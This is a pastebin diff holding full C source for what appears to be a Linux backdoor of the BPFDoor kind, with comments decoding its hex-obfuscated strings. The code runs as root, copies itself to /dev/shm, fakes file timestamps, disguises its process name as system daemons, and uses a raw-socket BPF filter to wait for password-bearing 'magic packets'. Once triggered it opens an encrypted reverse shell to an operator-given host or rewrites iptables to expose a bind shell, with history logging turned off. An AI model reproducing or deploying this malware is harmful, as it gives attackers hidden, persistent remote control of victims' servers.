View difference between Paste ID: iPQ5YHUc and kmmJuuQP

 #include <arpa/inet.h>
 #include <sys/wait.h>
 #include <sys/resource.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <signal.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <linux/termios.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <string.h>
 #include <fcntl.h>
 #include <ctype.h>
 #include <netdb.h>
 #include <sys/prctl.h>
 #include <libgen.h>
 #include <sys/time.h>
 #include <time.h>
 #include <linux/types.h>
 #include <linux/if_ether.h>
 #include <linux/filter.h>
 #include <errno.h>
 #include <strings.h>
 
 #ifndef PR_SET_NAME
 #define PR_SET_NAME 15
 #endif
 
 extern char **environ;
 
 #define __SID ('S' << 8)
 #define I_PUSH (__SID | 2)
 
 struct sniff_ip {
         unsigned char   ip_vhl;
         unsigned char   ip_tos;
         unsigned short int ip_len;
         unsigned short int ip_id;
         unsigned short int ip_off;
         #define IP_RF 0x8000
         #define IP_DF 0x4000
         #define IP_MF 0x2000
         #define IP_OFFMASK 0x1fff
         unsigned char   ip_ttl;
         unsigned char   ip_p;
         unsigned short int ip_sum;
         struct  in_addr ip_src,ip_dst;
 };
 #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
 #define IP_V(ip)  (((ip)->ip_vhl) >> 4)
 
 typedef unsigned int tcp_seq;
 struct sniff_tcp {
         unsigned short int th_sport;
         unsigned short int th_dport;
         tcp_seq th_seq;
         tcp_seq th_ack;
         unsigned char   th_offx2;
         #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
         unsigned char   th_flags;
         #define TH_FIN  0x01
         #define TH_SYN  0x02
         #define TH_RST  0x04
         #define TH_PUSH 0x08
         #define TH_ACK  0x10
         #define TH_URG  0x20
         #define TH_ECE  0x40
         #define TH_CWR  0x80
         #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
         unsigned short int th_win;
         unsigned short int th_sum;
         unsigned short int th_urp;
 } __attribute__ ((packed));
 
 struct sniff_udp {
         uint16_t uh_sport;
         uint16_t uh_dport;
         uint16_t uh_ulen;
         uint16_t uh_sum;
 } __attribute__ ((packed));
 
 struct magic_packet{
         unsigned int    flag;
         in_addr_t       ip;
         unsigned short  port;
         char   pass[14];
 } __attribute__ ((packed));
 
 #ifndef uchar
 #define uchar unsigned char
 #endif
 
 typedef struct {
         uchar   state[256];
         uchar   x, y;
 } rc4_ctx;
 
 extern char *ptsname(int);
 extern int grantpt(int fd);
 extern int unlockpt(int fd);
 extern int ioctl (int __fd, unsigned long int __request, ...) __THROW;
 
 #define TIOCSCTTY 0x540E
 #define TIOCGWINSZ 0x5413
 #define TIOCSWINSZ 0x5414
 #define ECHAR 0x0b
 
 #define BUF 32768
 
 struct  config {
         char    stime[4];
         char    etime[4];
         char    mask[512];
         char    pass[14];
         char    pass2[14];
 } __attribute__ ((packed));
 
 struct config cfg;
 int     pty, tty;
 int     godpid;
 char pid_path[50];
 
 int shell(int, char *, char *);
 void getshell(char *ip, int);
 
 char *argv0 = NULL;
 
 rc4_ctx crypt_ctx, decrypt_ctx;
 
 void xchg(uchar *a, uchar *b)
 {
         uchar   c = *a;
         *a = *b;
         *b = c;
 }
 
 void    rc4_init (uchar *key, int len, rc4_ctx *ctx)
 {
         uchar   index1, index2;
         uchar   *state = ctx->state;
         uchar   i;
 
         i = 0;
         do {
                 state[i] = i;
                 i++;
         } while (i);
 
         ctx->x = ctx->y = 0;
         index1 = index2 = 0;
         do {
                 index2 = key[index1] + state[i] + index2;
                 xchg(&state[i], &state[index2]);
                 index1++;
                 if (index1 >= len)
                         index1 = 0;
                 i++;
         } while (i);
 }
 
 void    rc4 (uchar *data, int len, rc4_ctx *ctx)
 {
         uchar   *state = ctx->state;
         uchar   x = ctx->x;
         uchar   y = ctx->y;
         int     i;
 
         for (i = 0; i < len; i++) {
                 uchar xor;
 
                 x++;
                 y = state[x] + y;
                 xchg(&state[x], &state[y]);
 
                 xor = state[x] + state[y];
                 data[i] ^= state[xor];
         }
 
         ctx->x = x;
         ctx->y = y;
 }
 
 int cwrite(int fd, void *buf, int count)
 {
         uchar    *tmp;
         int     ret;
 
         if (!count)
                 return 0;
         tmp = malloc(count);
         if (!tmp)
                 return 0;
         memcpy(tmp, buf, count);
         rc4(tmp, count, &crypt_ctx);
         ret = write(fd, tmp, count);
         free(tmp);
         return ret;
 }
 
 int cread(int fd, void *buf, int count)
 {
         int     i;
 
         if (!count)
                 return 0;
         i = read(fd, buf, count);
 
         if (i > 0)
                 rc4(buf, i, &decrypt_ctx);
         return i;
 }
 
 static void remove_pid(char *pp)
 {
         unlink(pp);
 }
 
 static void setup_time(char *file)
 {
         struct timeval tv[2];
 
         tv[0].tv_sec = 1225394236;
         tv[0].tv_usec = 0;
 
         tv[1].tv_sec = 1225394236;
         tv[1].tv_usec = 0;
 
         utimes(file, tv);
 }
 static void terminate(void)
 {
         if (getpid() == godpid)
                 remove_pid(pid_path);
 
         _exit(EXIT_SUCCESS);
 }
 
 static void on_terminate(int signo)
 {
         terminate();
 }
 static void init_signal(void)
 {
         atexit(terminate);
         signal(SIGTERM, on_terminate);
         return;
 }
 
 void sig_child(int i)
 {
         signal(SIGCHLD, sig_child);
         waitpid(-1, NULL, WNOHANG);
 }
 
 int ptym_open(char *pts_name)
 {
         char *ptr;
         int fd;
 
         strcpy(pts_name,"/dev/ptmx");
         if ((fd = open(pts_name,O_RDWR)) < 0) {
                 return -1;
         }
 
         if (grantpt(fd) < 0) {
                 close(fd);
                 return -2;
         }
 
         if (unlockpt(fd) < 0) {
                 close(fd);
                 return -3;
         }
 
         if ((ptr = ptsname(fd)) == NULL) {
                 close(fd);
                 return -4;
         }
 
         strcpy(pts_name,ptr);
 
         return fd;
 }
 
 int ptys_open(int fd,char *pts_name)
 {
         int fds;
 
         if ((fds = open(pts_name,O_RDWR)) < 0) {
                 close(fd);
                 return -5;
         }
 
 
         if (ioctl(fds,I_PUSH,"ptem") < 0) {
                 return fds;
         }
 
         if (ioctl(fds,I_PUSH,"ldterm") < 0) {
         return fds;
         }
 
         if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
                 return fds;
         }
 
         return fds;
 }
 
 int open_tty()
 {
         char pts_name[20];
 
         pty = ptym_open(pts_name);
 
         tty = ptys_open(pty,pts_name);
 
         if (pty >= 0 && tty >=0 )
                 return 1;
         return 0;
 }
 
 int try_link(in_addr_t ip, unsigned short port)
 {
         struct sockaddr_in serv_addr;
         int sock;
 
         bzero(&serv_addr, sizeof(serv_addr));
 
         serv_addr.sin_addr.s_addr = ip;
 
         if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                 return -1;
         }
 
         serv_addr.sin_family = AF_INET;
         serv_addr.sin_port = port;
 
         if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1 ) {
                 close(sock);
                 return -1;
         }
         return sock;
 }
 
 int mon(in_addr_t ip, unsigned short port)
 {
         struct sockaddr_in remote;
         int      sock;
         int      s_len;
 
         bzero(&remote, sizeof(remote));
         if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) {
                 return -1;
         }
         remote.sin_family = AF_INET;
         remote.sin_port   = port;
         remote.sin_addr.s_addr = ip;
 
         if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) {
                 close(sock);
                 return -1;
         }
         close(sock);
         return s_len;
 }
 
 int set_proc_name(int argc, char **argv, char *new)
 {
         size_t size = 0;
         int i;
         char *raw = NULL;
         char *last = NULL;
 
         argv0 = argv[0];
 
         for (i = 0; environ[i]; i++)
                 size += strlen(environ[i]) + 1;
 
         raw = (char *) malloc(size);
         if (NULL == raw)
                 return -1;
 
         for (i = 0; environ[i]; i++)
         {
                 memcpy(raw, environ[i], strlen(environ[i]) + 1);
                 environ[i] = raw;
                 raw += strlen(environ[i]) + 1;
         }
 
         last = argv[0];
 
         for (i = 0; i < argc; i++)
                 last += strlen(argv[i]) + 1;
         for (i = 0; environ[i]; i++)
                 last += strlen(environ[i]) + 1;
 
         memset(argv0, 0x00, last - argv0);
         strncpy(argv0, new, last - argv0);
 
         prctl(PR_SET_NAME, (unsigned long) new);
         return 0;
 }
 int to_open(char *name, char *tmp)
 {
         char cmd[256] = {0};
         char fmt[] = {
                 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
                 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
                 0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
                 0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
                 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
                 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
                 0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
                 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
                 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
                 0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
                 0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
                 0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
                 0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s
 
         snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
         system(cmd);
         sleep(2);
         if (access(pid_path, R_OK) == 0)
                 return 0;
         return 1;
 }
 
 int logon(const char *hash)
 {
         int x = 0;
         x = memcmp(cfg.pass, hash, strlen(cfg.pass));
         if (x == 0)
                 return 0;
         x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
         if (x == 0)
                 return 1;
 
         return 2;
 }
 
 void packet_loop()
 {
         int sock, r_len, pid, scli, size_ip, size_tcp;
         socklen_t psize;
         uchar buff[512];
         const struct sniff_ip *ip;
         const struct sniff_tcp *tcp;
         struct magic_packet *mp;
         const struct sniff_udp *udp;
         in_addr_t bip;
         char *pbuff = NULL;
 
         //
         // Filter Options Build Filter Struct
         //
 
         struct sock_fprog filter;
         struct sock_filter bpf_code[] = {
                 { 0x28, 0, 0, 0x0000000c },
                 { 0x15, 0, 27, 0x00000800 },
                 { 0x30, 0, 0, 0x00000017 },
                 { 0x15, 0, 5, 0x00000011 },
                 { 0x28, 0, 0, 0x00000014 },
                 { 0x45, 23, 0, 0x00001fff },
                 { 0xb1, 0, 0, 0x0000000e },
                 { 0x48, 0, 0, 0x00000016 },
                 { 0x15, 19, 20, 0x00007255 },
                 { 0x15, 0, 7, 0x00000001 },
                 { 0x28, 0, 0, 0x00000014 },
                 { 0x45, 17, 0, 0x00001fff },
                 { 0xb1, 0, 0, 0x0000000e },
                 { 0x48, 0, 0, 0x00000016 },
                 { 0x15, 0, 14, 0x00007255 },
                 { 0x50, 0, 0, 0x0000000e },
                 { 0x15, 11, 12, 0x00000008 },
                 { 0x15, 0, 11, 0x00000006 },
                 { 0x28, 0, 0, 0x00000014 },
                 { 0x45, 9, 0, 0x00001fff },
                 { 0xb1, 0, 0, 0x0000000e },
                 { 0x50, 0, 0, 0x0000001a },
                 { 0x54, 0, 0, 0x000000f0 },
                 { 0x74, 0, 0, 0x00000002 },
                 { 0xc, 0, 0, 0x00000000 },
                 { 0x7, 0, 0, 0x00000000 },
                 { 0x48, 0, 0, 0x0000000e },
                 { 0x15, 0, 1, 0x00005293 },
                 { 0x6, 0, 0, 0x0000ffff },
                 { 0x6, 0, 0, 0x00000000 },
         };
 
         filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
         filter.filter = bpf_code;
 
         //
         // Build a rawsocket that binds the NIC to receive Ethernet frames
         //
 
         if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
                 return;
 
         //
         // Set a packet filter
         //
 
         if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
                 return;
         }
 
 
         //
         // Loop to Read Packets in 512 Chunks
         //
 
 
         while (1) {
                 memset(buff, 0, 512);
                 psize = 0;
                 r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
 
                 ip = (struct sniff_ip *)(buff+14);
                 size_ip = IP_HL(ip)*4;
                 if (size_ip < 20) continue;
 
                 // determine protocl from packet (offset 14)
                 switch(ip->ip_p) {
                         case IPPROTO_TCP:
                                 tcp = (struct sniff_tcp*)(buff+14+size_ip);
                                 size_tcp = TH_OFF(tcp)*4;
                                 mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
                                 break;
                         case IPPROTO_UDP:
                                 udp = (struct sniff_udp *)(ip+1);
                                 mp = (struct magic_packet *)(udp+1);
                                 break;
                         case IPPROTO_ICMP:
                                 pbuff = (char *)(ip+1);
                                 mp = (struct magic_packet *)(pbuff+8);
                                 break;
                         default:
                                 break;
                 }
 
                 // if magic packet is set process
 
                 if (mp) {
                         if (mp->ip == INADDR_NONE)
                                 bip = ip->ip_src.s_addr;
                         else
                                 bip = mp->ip;
 
                         pid = fork();
                         if (pid) {
                                 waitpid(pid, NULL, WNOHANG);
                         }
                         else {
                                 int cmp = 0;
                                 char sip[20] = {0};
                                 char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65,
  0x72, 0x00}; // /usr/libexec/postfix/master
 
                                 if (fork()) exit(0);
                                 chdir("/");
                                 setsid();
                                 signal(SIGHUP, SIG_DFL);
                                 memset(argv0, 0, strlen(argv0));
                                 strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master)
                                 prctl(PR_SET_NAME, (unsigned long) pname);
 
                                 rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
                                 rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
 
                                 cmp = logon(mp->pass);
                                 switch(cmp) {
                                         case 1:
                                                 strcpy(sip, inet_ntoa(ip->ip_src));
                                                 getshell(sip, ntohs(tcp->th_dport));
                                                 break;
                                         case 0:
                                                 scli = try_link(bip, mp->port);
                                                 if (scli > 0)
                                                         shell(scli, NULL, NULL);
                                                 break;
                                         case 2:
                                                 mon(bip, mp->port);
                                                 break;
                                 }
                                 exit(0);
                         }
                 }
 
         }
         close(sock);
 }
 
 int b(int *p)
 {
         int port;
         struct sockaddr_in my_addr;
         int sock_fd;
         int flag = 1;
 
         if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
                 return -1;
         }
 
         setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
 
         my_addr.sin_family = AF_INET;
         my_addr.sin_addr.s_addr = 0;
 
         for (port = 42391; port < 43391; port++) {
                 my_addr.sin_port = htons(port);
                 if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
                         continue;
                 }
                 if( listen(sock_fd,1) == 0 ) {
                         *p = port;
                         return sock_fd;
                 }
                 close(sock_fd);
         }
         return -1;
 }
 
 int w(int sock)
 {
         socklen_t size;
         struct sockaddr_in remote_addr;
         int sock_id;
 
         size = sizeof(struct sockaddr_in);
         if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
                 return -1;
         }
 
         close(sock);
         return sock_id;
 
 }
 
 void getshell(char *ip, int fromport)
 {
         int  sock, sockfd, toport;
         char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
         char cmdfmt[] = {
                         0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                         0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
                         0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                         0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                         0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                         0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                         0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                         0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
         char rcmdfmt[] = {
                         0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                         0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
                         0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
                         0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                         0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
                         0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
                         0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
                         0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
         char inputfmt[] = {
                         0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                         0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                         0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                         0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
         char dinputfmt[] = {
                         0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
                         0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
                         0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
                         0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
 
         sockfd = b(&toport); // looks like it selects random ephemral port here
         if (sockfd == -1) return;
 
         snprintf(cmd, sizeof(cmd), inputfmt, ip);
         snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
         system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
         sleep(1);
         memset(cmd, 0, sizeof(cmd));
         snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
         snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
         system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
         sleep(1);
         sock = w(sockfd); // creates a sock that listens on port specified earlier
         if( sock < 0 ){
                 close(sock);
                 return;
         }
 
         //
         // passes sock and
         // rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
         // dcmd =  /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
         //
         //
 
         shell(sock, rcmd, dcmd);
         close(sock);
 }
 
 int shell(int sock, char *rcmd, char *dcmd)
 {
         int subshell;
         fd_set fds;
         char buf[BUF];
         char argx[] = {
                 0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
                 0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
         char *argvv[] = {argx, NULL, NULL};
         #define MAXENV 256
         #define ENVLEN 256
         char *envp[MAXENV];
         char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
         int ret;
         char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
         char ps[] = {
                 0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
                 0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$
         char histfile[] = {
                 0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
                 0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
         char mshist[] = {
                 0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
                 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
                 0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
         char ipath[] = {
                 0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
                 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
                 0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
                 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
                 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
                 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
                 0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
                 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
                 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
                 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
                 0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
                 0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
         char term[] = "vt100";
 
         envp[0] = home;
         envp[1] = ps;
         envp[2] = histfile;
         envp[3] = mshist;
         envp[4] = ipath;
         envp[5] = term;
         envp[6] = NULL;
 
         if (rcmd != NULL)
                 system(rcmd);
         if (dcmd != NULL)
                 system(dcmd);
         write(sock, "3458", 4);
         if (!open_tty()) {
                 if (!fork()) {
                         dup2(sock, 0);
                         dup2(sock, 1);
                         dup2(sock, 2);
                         execve(sh, argvv, envp);
                 }
                 close(sock);
                 return 0;
         }
 
         subshell = fork();
         if (subshell == 0) {
                 close(pty);
                 ioctl(tty, TIOCSCTTY);
                 close(sock);
                 dup2(tty, 0);
                 dup2(tty, 1);
                 dup2(tty, 2);
                 close(tty);
                 execve(sh, argvv, envp);
         }
         close(tty);
 
         while (1) {
                 FD_ZERO(&fds);
                 FD_SET(pty, &fds);
                 FD_SET(sock, &fds);
                 if (select((pty > sock) ? (pty+1) : (sock+1),
                         &fds, NULL, NULL, NULL) < 0)
                 {
                         break;
                 }
                 if (FD_ISSET(pty, &fds)) {
                         int count;
                         count = read(pty, buf, BUF);
                         if (count <= 0) break;
                         if (cwrite(sock, buf, count) <= 0) break;
                 }
                 if (FD_ISSET(sock, &fds)) {
                         int count;
                         unsigned char *p, *d;
                         d = (unsigned char *)buf;
                         count = cread(sock, buf, BUF);
                         if (count <= 0) break;
 
                         p = memchr(buf, ECHAR, count);
                         if (p) {
                                 unsigned char wb[5];
                                 int rlen = count - ((long) p - (long) buf);
                                 struct winsize ws;
 
                                 if (rlen > 5) rlen = 5;
                                 memcpy(wb, p, rlen);
                                 if (rlen < 5) {
                                         ret = cread(sock, &wb[rlen], 5 - rlen);
                                 }
 
                                 ws.ws_xpixel = ws.ws_ypixel = 0;
                                 ws.ws_col = (wb[1] << 8) + wb[2];
                                 ws.ws_row = (wb[3] << 8) + wb[4];
                                 ioctl(pty, TIOCSWINSZ, &ws);
                                 kill(0, SIGWINCH);
 
                                 ret = write(pty, buf, (long) p - (long) buf);
                                 rlen = ((long) buf + count) - ((long)p+5);
                                 if (rlen > 0) ret = write(pty, p+5, rlen);
                         } else
                                 if (write(pty, d, count) <= 0) break;
                 }
         }
         close(sock);
         close(pty);
         waitpid(subshell, NULL, 0);
         vhangup();
         exit(0);
 }
 
 int main(int argc, char *argv[])
 {
         char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
         char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
         char *self[] = {
                 "/sbin/udevd -d",
                 "/sbin/mingetty /dev/tty7",
                 "/usr/sbin/console-kit-daemon --no-daemon",
                 "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
                 "dbus-daemon --system",
                 "hald-runner",
                 "pickup -l -t fifo -u",
                 "avahi-daemon: chroot helper",
                 "/sbin/auditd -n",
                 "/usr/lib/systemd/systemd-journald"
         };
 
         pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
         pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
         pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
         pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
         pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
         pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
         pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
         pid_path[21] = 0x00; // /var/run/haldrund.pid
 
         if (access(pid_path, R_OK) == 0) {
                 exit(0);
         }
 
         if (getuid() != 0) {
                 return 0;
         }
 
         if (argc == 1) {
                 if (to_open(argv[0], "kdmtmpflush") == 0)
                         _exit(0);
                 _exit(-1);
         }
 
         bzero(&cfg, sizeof(cfg));
 
         srand((unsigned)time(NULL));
         strcpy(cfg.mask, self[rand()%10]);
         strcpy(cfg.pass, hash);
         strcpy(cfg.pass2, hash2);
 
         setup_time(argv[0]);
 
         set_proc_name(argc, argv, cfg.mask);
 
         if (fork()) exit(0);
         init_signal();
         signal(SIGCHLD, sig_child);
         godpid = getpid();
 
         close(open(pid_path, O_CREAT|O_WRONLY, 0644));
 
         signal(SIGCHLD,SIG_IGN);
         setsid();
         packet_loop();
         return 0;
 }